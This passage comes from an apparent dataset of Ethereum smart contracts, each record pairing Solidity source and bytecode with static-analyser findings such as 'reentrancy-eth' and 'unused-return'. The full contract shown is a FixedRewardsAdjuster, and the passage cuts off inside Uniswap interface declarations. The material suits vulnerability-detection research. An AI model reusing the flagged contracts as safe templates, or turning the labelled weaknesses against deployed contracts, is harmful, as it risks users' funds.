6040513d601f19601f820116820180604052508101906113ca9190611970565b816001815181106113dd576113dd611d85565b6001600160a01b0392831660209182029290920101526014546114039130911684610b53565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143c908590600090869030904290600401611c73565b600060405180830381600087803b15801561145657600080fd5b505af115801561146a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148c5761148c611512565b611497848484611540565b80610a3457610a34600e54600c55600f54600d55565b60006112ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611637565b60008060006114fc611665565b909250905061150b82826114ad565b9250505090565b600c541580156115225750600d54155b1561152957565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611552876116a3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115849087611700565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b39086611742565b6001600160a01b0389166000908152600260205260409020556115d5816117a1565b6115df84836117eb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162491815260200190565b60405180910390a3505050505050505050565b600081836116585760405162461bcd60e51b81526004016105eb9190611be9565b5060006111e48486611cfc565b6006546000908190662386f26fc1000061167f82826114ad565b82101561169a57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c08a600c54600d5461180f565b92509250925060006116d06114ef565b905060008060006116e38e878787611864565b919e509c509a509598509396509194505050505091939550919395565b60006112ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b3565b60008061174f8385611ce4565b9050838110156112ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105eb565b60006117ab6114ef565b905060006117b983836118b4565b306000908152600260205260409020549091506117d69082611742565b30600090815260026020526040902055505050565b6006546117f89083611700565b6006556007546118089082611742565b6007555050565b6000808080611829606461182389896118b4565b906114ad565b9050600061183c60646118238a896118b4565b905060006118548261184e8b86611700565b90611700565b9992985090965090945050505050565b600080808061187388866118b4565b9050600061188188876118b4565b9050600061188f88886118b4565b905060006118a18261184e8686611700565b939b939a50919850919650505050505050565b6000826118c357506000610671565b60006118cf8385611d1e565b9050826118dc8583611cfc565b146112ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105eb565b803561193e81611db1565b919050565b8035801515811461193e57600080fd5b60006020828403121561196557600080fd5b81356112ef81611db1565b60006020828403121561198257600080fd5b81516112ef81611db1565b600080604083850312156119a057600080fd5b82356119ab81611db1565b915060208301356119bb81611db1565b809150509250929050565b6000806000606084860312156119db57600080fd5b83356119e681611db1565b925060208401356119f681611db1565b929592945050506040919091013590565b60008060408385031215611a1a57600080fd5b8235611a2581611db1565b946020939093013593505050565b600080600060408486031215611a4857600080fd5b833567ffffffffffffffff80821115611a6057600080fd5b818601915086601f830112611a7457600080fd5b813581811115611a8357600080fd5b8760208260051b8501011115611a9857600080fd5b602092830195509350611aae9186019050611943565b90509250925092565b60006020808385031215611aca57600080fd5b823567ffffffffffffffff80821115611ae257600080fd5b818501915085601f830112611af657600080fd5b813581811115611b0857611b08611d9b565b8060051b604051601f19603f83011681018181108582111715611b2d57611b2d611d9b565b604052828152858101935084860182860187018a1015611b4c57600080fd5b600095505b83861015611b7657611b6281611933565b855260019590950194938601938601611b51565b5098975050505050505050565b600060208284031215611b9557600080fd5b6112ef82611943565b600060208284031215611bb057600080fd5b5035919050565b60008060008060808587031215611bcd57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1657858101830151858201604001528201611bfa565b81811115611c28576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc35784516001600160a01b031683529383019391830191600101611c9e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf757611cf7611d6f565b500190565b600082611d1957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3857611d38611d6f565b500290565b600082821015611d4f57611d4f611d6f565b500390565b6000600019821415611d6857611d68611d6f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bb57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e944100dbac098569427a4b6f1cc052679320ac3006a1fc4c95fcdf7d049f84464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,324
0xff5126b97f37ddb4743858b7e0d6c5ae8e5db2ab
pragma solidity 0.6.7; abstract contract StabilityFeeTreasuryLike { function getAllowance(address) virtual public view returns (uint256, uint256); function setPerBlockAllowance(address, uint256) virtual external; } abstract contract TreasuryFundableLike { function authorizedAccounts(address) virtual public view returns (uint256); function fixedReward() virtual public view returns (uint256); function modifyParameters(bytes32, uint256) virtual external; } abstract contract TreasuryParamAdjusterLike { function adjustMaxReward(address receiver, bytes4 targetFunctionSignature, uint256 newMaxReward) virtual external; } abstract contract OracleLike { function read() virtual external view returns (uint256); } abstract contract OracleRelayerLike { function redemptionPrice() virtual public returns (uint256); } contract FixedRewardsAdjuster { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "FixedRewardsAdjuster/account-not-authorized"); _; } // --- Structs --- struct FundingReceiver { // Last timestamp when the funding receiver data was updated uint256 lastUpdateTime; // [unix timestamp] // Gas amount used to execute this funded function uint256 gasAmountForExecution; // [gas amount] // Delay between two calls to recompute the fees for this funded function uint256 updateDelay; // [seconds] // Multiplier applied to the computed fixed reward uint256 fixedRewardMultiplier; // [hundred] } // --- Variables --- // Data about funding receivers mapping(address => mapping(bytes4 => FundingReceiver)) public fundingReceivers; // The gas price oracle OracleLike public gasPriceOracle; // The ETH oracle OracleLike public ethPriceOracle; // The contract that adjusts SF treasury parameters and needs to be updated with max rewards for each funding receiver TreasuryParamAdjusterLike public treasuryParamAdjuster; // The oracle relayer contract OracleRelayerLike public oracleRelayer; // The SF treasury contract StabilityFeeTreasuryLike public treasury; // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters(bytes32 parameter, address addr); event ModifyParameters(address receiver, bytes4 targetFunction, bytes32 parameter, uint256 val); event AddFundingReceiver( address indexed receiver, bytes4 targetFunctionSignature, uint256 updateDelay, uint256 gasAmountForExecution, uint256 fixedRewardMultiplier ); event RemoveFundingReceiver(address indexed receiver, bytes4 targetFunctionSignature); event RecomputedRewards(address receiver, uint256 newFixedReward); constructor( address oracleRelayer_, address treasury_, address gasPriceOracle_, address ethPriceOracle_, address treasuryParamAdjuster_ ) public { // Checks require(oracleRelayer_ != address(0), "FixedRewardsAdjuster/null-oracle-relayer"); require(treasury_ != address(0), "FixedRewardsAdjuster/null-treasury"); require(gasPriceOracle_ != address(0), "FixedRewardsAdjuster/null-gas-oracle"); require(ethPriceOracle_ != address(0), "FixedRewardsAdjuster/null-eth-oracle"); require(treasuryParamAdjuster_ != address(0), "FixedRewardsAdjuster/null-treasury-adjuster"); authorizedAccounts[msg.sender] = 1; // Store oracleRelayer = OracleRelayerLike(oracleRelayer_); treasury = StabilityFeeTreasuryLike(treasury_); gasPriceOracle = OracleLike(gasPriceOracle_); ethPriceOracle = OracleLike(ethPriceOracle_); treasuryParamAdjuster = TreasuryParamAdjusterLike(treasuryParamAdjuster_); // Check that the oracle relayer has a redemption price stored oracleRelayer.redemptionPrice(); // Emit events emit ModifyParameters("treasury", treasury_); emit ModifyParameters("oracleRelayer", oracleRelayer_); emit ModifyParameters("gasPriceOracle", gasPriceOracle_); emit ModifyParameters("ethPriceOracle", ethPriceOracle_); emit ModifyParameters("treasuryParamAdjuster", treasuryParamAdjuster_); } // --- Boolean Logic --- function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } // --- Math --- uint256 public constant WAD = 10**18; uint256 public constant RAY = 10**27; uint256 public constant HUNDRED = 100; uint256 public constant THOUSAND = 1000; function addition(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x, "FixedRewardsAdjuster/add-uint-uint-overflow"); } function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x, "FixedRewardsAdjuster/sub-uint-uint-underflow"); } function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, "FixedRewardsAdjuster/multiply-uint-uint-overflow"); } function divide(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y > 0, "FixedRewardsAdjuster/div-y-null"); z = x / y; require(z <= x, "FixedRewardsAdjuster/div-invalid"); } function wdivide(uint x, uint y) public pure returns (uint z) { require(y > 0, "FixedRewardsAdjuster/div-y-null"); z = multiply(x, WAD) / y; } // --- Administration --- /* * @notify Update the address of a contract that this adjuster is connected to * @param parameter The name of the contract to update the address for * @param addr The new contract address */ function modifyParameters(bytes32 parameter, address addr) external isAuthorized { require(addr != address(0), "FixedRewardsAdjuster/null-address"); if (parameter == "oracleRelayer") { oracleRelayer = OracleRelayerLike(addr); oracleRelayer.redemptionPrice(); } else if (parameter == "treasury") { treasury = StabilityFeeTreasuryLike(addr); } else if (parameter == "gasPriceOracle") { gasPriceOracle = OracleLike(addr); } else if (parameter == "ethPriceOracle") { ethPriceOracle = OracleLike(addr); } else if (parameter == "treasuryParamAdjuster") { treasuryParamAdjuster = TreasuryParamAdjusterLike(addr); } else revert("FixedRewardsAdjuster/modify-unrecognized-params"); emit ModifyParameters(parameter, addr); } /* * @notify Change a parameter for a funding receiver * @param receiver The address of the funding receiver * @param targetFunction The function whose callers receive funding for calling * @param parameter The name of the parameter to change * @param val The new parameter value */ function modifyParameters(address receiver, bytes4 targetFunction, bytes32 parameter, uint256 val) external isAuthorized { require(val > 0, "FixedRewardsAdjuster/null-value"); FundingReceiver storage fundingReceiver = fundingReceivers[receiver][targetFunction]; require(fundingReceiver.lastUpdateTime > 0, "FixedRewardsAdjuster/non-existent-receiver"); if (parameter == "gasAmountForExecution") { require(val < block.gaslimit, "FixedRewardsAdjuster/invalid-gas-amount-for-exec"); fundingReceiver.gasAmountForExecution = val; } else if (parameter == "updateDelay") { fundingReceiver.updateDelay = val; } else if (parameter == "fixedRewardMultiplier") { require(both(val >= HUNDRED, val <= THOUSAND), "FixedRewardsAdjuster/invalid-fixed-reward-multiplier"); fundingReceiver.fixedRewardMultiplier = val; } else revert("FixedRewardsAdjuster/modify-unrecognized-params"); emit ModifyParameters(receiver, targetFunction, parameter, val); } /* * @notify Add a new funding receiver * @param receiver The funding receiver address * @param targetFunctionSignature The signature of the function whose callers get funding * @param updateDelay The update delay between two consecutive calls that update the base and max rewards for this receiver * @param gasAmountForExecution The gas amount spent calling the function with signature targetFunctionSignature * @param fixedRewardMultiplier Multiplier applied to the computed base reward * @param maxRewardMultiplier Multiplied applied to the computed max reward */ function addFundingReceiver( address receiver, bytes4 targetFunctionSignature, uint256 updateDelay, uint256 gasAmountForExecution, uint256 fixedRewardMultiplier ) external isAuthorized { // Checks require(receiver != address(0), "FixedRewardsAdjuster/null-receiver"); require(updateDelay > 0, "FixedRewardsAdjuster/null-update-delay"); require(both(fixedRewardMultiplier >= HUNDRED, fixedRewardMultiplier <= THOUSAND), "FixedRewardsAdjuster/invalid-fixed-reward-multiplier"); require(gasAmountForExecution > 0, "FixedRewardsAdjuster/null-gas-amount"); require(gasAmountForExecution < block.gaslimit, "FixedRewardsAdjuster/large-gas-amount-for-exec"); // Check that the receiver hasn't been already added FundingReceiver storage newReceiver = fundingReceivers[receiver][targetFunctionSignature]; require(newReceiver.lastUpdateTime == 0, "FixedRewardsAdjuster/receiver-already-added"); // Add the receiver's data newReceiver.lastUpdateTime = now; newReceiver.updateDelay = updateDelay; newReceiver.gasAmountForExecution = gasAmountForExecution; newReceiver.fixedRewardMultiplier = fixedRewardMultiplier; emit AddFundingReceiver( receiver, targetFunctionSignature, updateDelay, gasAmountForExecution, fixedRewardMultiplier ); } /* * @notify Remove an already added funding receiver * @param receiver The funding receiver address * @param targetFunctionSignature The signature of the function whose callers get funding */ function removeFundingReceiver(address receiver, bytes4 targetFunctionSignature) external isAuthorized { // Check that the receiver is still stored and then delete it require(fundingReceivers[receiver][targetFunctionSignature].lastUpdateTime > 0, "FixedRewardsAdjuster/non-existent-receiver"); delete(fundingReceivers[receiver][targetFunctionSignature]); emit RemoveFundingReceiver(receiver, targetFunctionSignature); } // --- Core Logic --- /* * @notify Recompute the base and max rewards for a specific funding receiver with a specific function offering funding * @param receiver The funding receiver address * @param targetFunctionSignature The signature of the function whose callers get funding */ function recomputeRewards(address receiver, bytes4 targetFunctionSignature) external { FundingReceiver storage targetReceiver = fundingReceivers[receiver][targetFunctionSignature]; require(both(targetReceiver.lastUpdateTime > 0, addition(targetReceiver.lastUpdateTime, targetReceiver.updateDelay) <= now), "FixedRewardsAdjuster/wait-more"); // Update last time targetReceiver.lastUpdateTime = now; // Read the gas and the ETH prices uint256 gasPrice = gasPriceOracle.read(); uint256 ethPrice = ethPriceOracle.read(); // Calculate the fixed fiat value uint256 fixedRewardDenominatedValue = divide(multiply(multiply(gasPrice, targetReceiver.gasAmountForExecution), WAD), ethPrice); // Calculate the fixed reward expressed in system coins uint256 newFixedReward = divide(multiply(fixedRewardDenominatedValue, RAY), oracleRelayer.redemptionPrice()); newFixedReward = divide(multiply(newFixedReward, targetReceiver.fixedRewardMultiplier), HUNDRED); require(newFixedReward > 0, "FixedRewardsAdjuster/null-fixed-reward"); // Notify the treasury param adjuster about the new fixed reward treasuryParamAdjuster.adjustMaxReward(receiver, targetFunctionSignature, newFixedReward); // Approve the reward in the treasury treasury.setPerBlockAllowance(receiver, multiply(newFixedReward, RAY)); // Set the new rewards inside the receiver contract TreasuryFundableLike(receiver).modifyParameters("fixedReward", newFixedReward); emit RecomputedRewards(receiver, newFixedReward); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80636f6dc5ae116100ad578063ac0e47f511610071578063ac0e47f5146102f4578063de32b67d146102fc578063eae8d49b1461033e578063f752fdc314610386578063f85fc0ab146103a957610121565b80636f6dc5ae14610280578063749288ba14610288578063851cad9014610290578063900dc6ff1461029857806394f3f81d146102ce57610121565b8063552033c4116100f4578063552033c41461020657806361d027b31461020e5780636614f010146102165780636a146024146102425780636c64a3481461024a57610121565b8063017a10fa1461012657806324ba58841461018257806335b28153146101ba5780634faf61ab146101e2575b600080fd5b61015c6004803603604081101561013c57600080fd5b5080356001600160a01b031690602001356001600160e01b0319166103b1565b604080519485526020850193909352838301919091526060830152519081900360800190f35b6101a86004803603602081101561019857600080fd5b50356001600160a01b03166103e1565b60408051918252519081900360200190f35b6101e0600480360360208110156101d057600080fd5b50356001600160a01b03166103f3565b005b6101ea610493565b604080516001600160a01b039092168252519081900360200190f35b6101a86104a2565b6101ea6104b2565b6101e06004803603604081101561022c57600080fd5b50803590602001356001600160a01b03166104c1565b6101a861075f565b6101e06004803603604081101561026057600080fd5b5080356001600160a01b031690602001356001600160e01b03191661076b565b6101ea610bf3565b6101ea610c02565b6101a8610c11565b6101e0600480360360408110156102ae57600080fd5b5080356001600160a01b031690602001356001600160e01b031916610c17565b6101e0600480360360208110156102e457600080fd5b50356001600160a01b0316610d4c565b6101ea610deb565b6101e06004803603608081101561031257600080fd5b506001600160a01b03813516906001600160e01b03196020820135169060408101359060600135610dfa565b6101e0600480360360a081101561035457600080fd5b506001600160a01b03813516906001600160e01b03196020820135169060408101359060608101359060800135611069565b6101a86004803603604081101561039c57600080fd5b50803590602001356112ee565b6101a8611366565b60016020818152600093845260408085209091529183529120805491810154600282015460039092015490919084565b60006020819052908152604090205481565b336000908152602081905260409020546001146104415760405162461bcd60e51b815260040180806020018281038252602b8152602001806114f4602b913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b6005546001600160a01b031681565b6b033b2e3c9fd0803ce800000081565b6006546001600160a01b031681565b3360009081526020819052604090205460011461050f5760405162461bcd60e51b815260040180806020018281038252602b8152602001806114f4602b913960400191505060405180910390fd5b6001600160a01b0381166105545760405162461bcd60e51b81526004018080602001828103825260218152602001806116756021913960400191505060405180910390fd5b816c37b930b1b632a932b630bcb2b960991b14156105fc57600580546001600160a01b0319166001600160a01b03838116919091179182905560408051630316dd2360e61b81529051929091169163c5b748c0916004808201926020929091908290030181600087803b1580156105ca57600080fd5b505af11580156105de573d6000803e3d6000fd5b505050506040513d60208110156105f457600080fd5b506107189050565b8167747265617375727960c01b141561062f57600680546001600160a01b0319166001600160a01b038316179055610718565b816d67617350726963654f7261636c6560901b141561066857600280546001600160a01b0319166001600160a01b038316179055610718565b816d65746850726963654f7261636c6560901b14156106a157600380546001600160a01b0319166001600160a01b038316179055610718565b81743a3932b0b9bab93ca830b930b6a0b2353ab9ba32b960591b14156106e157600480546001600160a01b0319166001600160a01b038316179055610718565b60405162461bcd60e51b815260040180806020018281038252602f8152602001806114c5602f913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b670de0b6b3a764000081565b6001600160a01b03821660009081526001602090815260408083206001600160e01b0319851684529091529020805460028201546107b9918015159142916107b29161136b565b11156113b3565b61080a576040805162461bcd60e51b815260206004820152601e60248201527f46697865645265776172647341646a75737465722f776169742d6d6f72650000604482015290519081900360640190fd5b428155600254604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561085257600080fd5b505afa158015610866573d6000803e3d6000fd5b505050506040513d602081101561087c57600080fd5b5051600354604080516315f789a960e21b815290519293506000926001600160a01b03909216916357de26a491600480820192602092909190829003018186803b1580156108c957600080fd5b505afa1580156108dd573d6000803e3d6000fd5b505050506040513d60208110156108f357600080fd5b5051600184015490915060009061092790610921906109139086906113b7565b670de0b6b3a76400006113b7565b8361140d565b905060006109c5610944836b033b2e3c9fd0803ce80000006113b7565b600560009054906101000a90046001600160a01b03166001600160a01b031663c5b748c06040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561099457600080fd5b505af11580156109a8573d6000803e3d6000fd5b505050506040513d60208110156109be57600080fd5b505161140d565b90506109df6109d88287600301546113b7565b606461140d565b905060008111610a205760405162461bcd60e51b81526004018080602001828103825260268152602001806116c06026913960400191505060405180910390fd5b6004805460408051632346554960e01b81526001600160a01b038b8116948201949094526001600160e01b03198a166024820152604481018590529051929091169163234655499160648082019260009290919082900301818387803b158015610a8957600080fd5b505af1158015610a9d573d6000803e3d6000fd5b50506006546001600160a01b03169150633d285a6f905088610acb846b033b2e3c9fd0803ce80000006113b7565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015610b1a57600080fd5b505af1158015610b2e573d6000803e3d6000fd5b50505050866001600160a01b031663fe4f5890826040518263ffffffff1660e01b815260040180806a199a5e195914995dd85c9960aa1b815250602001828152602001915050600060405180830381600087803b158015610b8e57600080fd5b505af1158015610ba2573d6000803e3d6000fd5b5050604080516001600160a01b038b1681526020810185905281517fa4e546d6d5086d0fe7b07fc5a686f276b38bb5ee722f6602bbef76e8735360d49450908190039091019150a150505050505050565b6002546001600160a01b031681565b6004546001600160a01b031681565b6103e881565b33600090815260208190526040902054600114610c655760405162461bcd60e51b815260040180806020018281038252602b8152602001806114f4602b913960400191505060405180910390fd5b6001600160a01b03821660009081526001602090815260408083206001600160e01b031985168452909152902054610cce5760405162461bcd60e51b815260040180806020018281038252602a815260200180611696602a913960400191505060405180910390fd5b6001600160a01b03821660008181526001602081815260408084206001600160e01b0319871680865290835281852085815593840185905560028401859055600390930193909355825191825291517f27deac06df27e6e639c18b3359e9805cd9834be10fa04c491c27cb5de28133ab929181900390910190a25050565b33600090815260208190526040902054600114610d9a5760405162461bcd60e51b815260040180806020018281038252602b8152602001806114f4602b913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b6003546001600160a01b031681565b33600090815260208190526040902054600114610e485760405162461bcd60e51b815260040180806020018281038252602b8152602001806114f4602b913960400191505060405180910390fd5b60008111610e9d576040805162461bcd60e51b815260206004820152601f60248201527f46697865645265776172647341646a75737465722f6e756c6c2d76616c756500604482015290519081900360640190fd5b6001600160a01b03841660009081526001602090815260408083206001600160e01b03198716845290915290208054610f075760405162461bcd60e51b815260040180806020018281038252602a815260200180611696602a913960400191505060405180910390fd5b827433b0b9a0b6b7bab73a2337b922bc32b1baba34b7b760591b1415610f7157458210610f655760405162461bcd60e51b81526004018080602001828103825260308152602001806116116030913960400191505060405180910390fd5b60018101829055611009565b826a75706461746544656c617960a81b1415610f935760028101829055611009565b82743334bc32b22932bbb0b93226bab63a34b83634b2b960591b14156106e157610fc660648310156103e88411156113b3565b6110015760405162461bcd60e51b81526004018080602001828103825260348152602001806116416034913960400191505060405180910390fd5b600381018290555b604080516001600160a01b03871681526001600160e01b0319861660208201528082018590526060810184905290517f88d1df549626311d5a3b057e3cf7f309557bf79aea71600180e6c8c2fe34d74b9181900360800190a15050505050565b336000908152602081905260409020546001146110b75760405162461bcd60e51b815260040180806020018281038252602b8152602001806114f4602b913960400191505060405180910390fd5b6001600160a01b0385166110fc5760405162461bcd60e51b815260040180806020018281038252602281526020018061159b6022913960400191505060405180910390fd5b6000831161113b5760405162461bcd60e51b81526004018080602001828103825260268152602001806115756026913960400191505060405180910390fd5b61114e60648210156103e88311156113b3565b6111895760405162461bcd60e51b81526004018080602001828103825260348152602001806116416034913960400191505060405180910390fd5b600082116111c85760405162461bcd60e51b81526004018080602001828103825260248152602001806115bd6024913960400191505060405180910390fd5b4582106112065760405162461bcd60e51b815260040180806020018281038252602e8152602001806116e6602e913960400191505060405180910390fd5b6001600160a01b03851660009081526001602090815260408083206001600160e01b03198816845290915290208054156112715760405162461bcd60e51b815260040180806020018281038252602b81526020018061151f602b913960400191505060405180910390fd5b428155600281018490556001810183905560038101829055604080516001600160e01b031987168152602081018690528082018590526060810184905290516001600160a01b038816917ff8012c2aa90df1c1a5f637a50ca0447f4daf9b590c78e93e1c8f10eeda5a4fe0919081900360800190a2505050505050565b6000808211611344576040805162461bcd60e51b815260206004820152601f60248201527f46697865645265776172647341646a75737465722f6469762d792d6e756c6c00604482015290519081900360640190fd5b8161135784670de0b6b3a76400006113b7565b8161135e57fe5b049392505050565b606481565b808201828110156113ad5760405162461bcd60e51b815260040180806020018281038252602b81526020018061154a602b913960400191505060405180910390fd5b92915050565b1690565b60008115806113d2575050808202828282816113cf57fe5b04145b6113ad5760405162461bcd60e51b81526004018080602001828103825260308152602001806115e16030913960400191505060405180910390fd5b6000808211611463576040805162461bcd60e51b815260206004820152601f60248201527f46697865645265776172647341646a75737465722f6469762d792d6e756c6c00604482015290519081900360640190fd5b81838161146c57fe5b049050828111156113ad576040805162461bcd60e51b815260206004820181905260248201527f46697865645265776172647341646a75737465722f6469762d696e76616c6964604482015290519081900360640190fdfe46697865645265776172647341646a75737465722f6d6f646966792d756e7265636f676e697a65642d706172616d7346697865645265776172647341646a75737465722f6163636f756e742d6e6f742d617574686f72697a656446697865645265776172647341646a75737465722f72656365697665722d616c72656164792d616464656446697865645265776172647341646a75737465722f6164642d75696e742d75696e742d6f766572666c6f7746697865645265776172647341646a75737465722f6e756c6c2d7570646174652d64656c617946697865645265776172647341646a75737465722f6e756c6c2d726563656976657246697865645265776172647341646a75737465722f6e756c6c2d6761732d616d6f756e7446697865645265776172647341646a75737465722f6d756c7469706c792d75696e742d75696e742d6f766572666c6f7746697865645265776172647341646a75737465722f696e76616c69642d6761732d616d6f756e742d666f722d6578656346697865645265776172647341646a75737465722f696e76616c69642d66697865642d7265776172642d6d756c7469706c69657246697865645265776172647341646a75737465722f6e756c6c2d6164647265737346697865645265776172647341646a75737465722f6e6f6e2d6578697374656e742d726563656976657246697865645265776172647341646a75737465722f6e756c6c2d66697865642d72657761726446697865645265776172647341646a75737465722f6c617267652d6761732d616d6f756e742d666f722d65786563a2646970667358221220865f6c1929f8823cca0d9e9a6a2e9917b07fde8859e4e13cc415b320f471a1c564736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,325
0xd3477920d4e69c64d149070a4d6cad4523bb2a71
pragma solidity >=0.6.6; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function burn(uint256 amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function burnFrom(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint 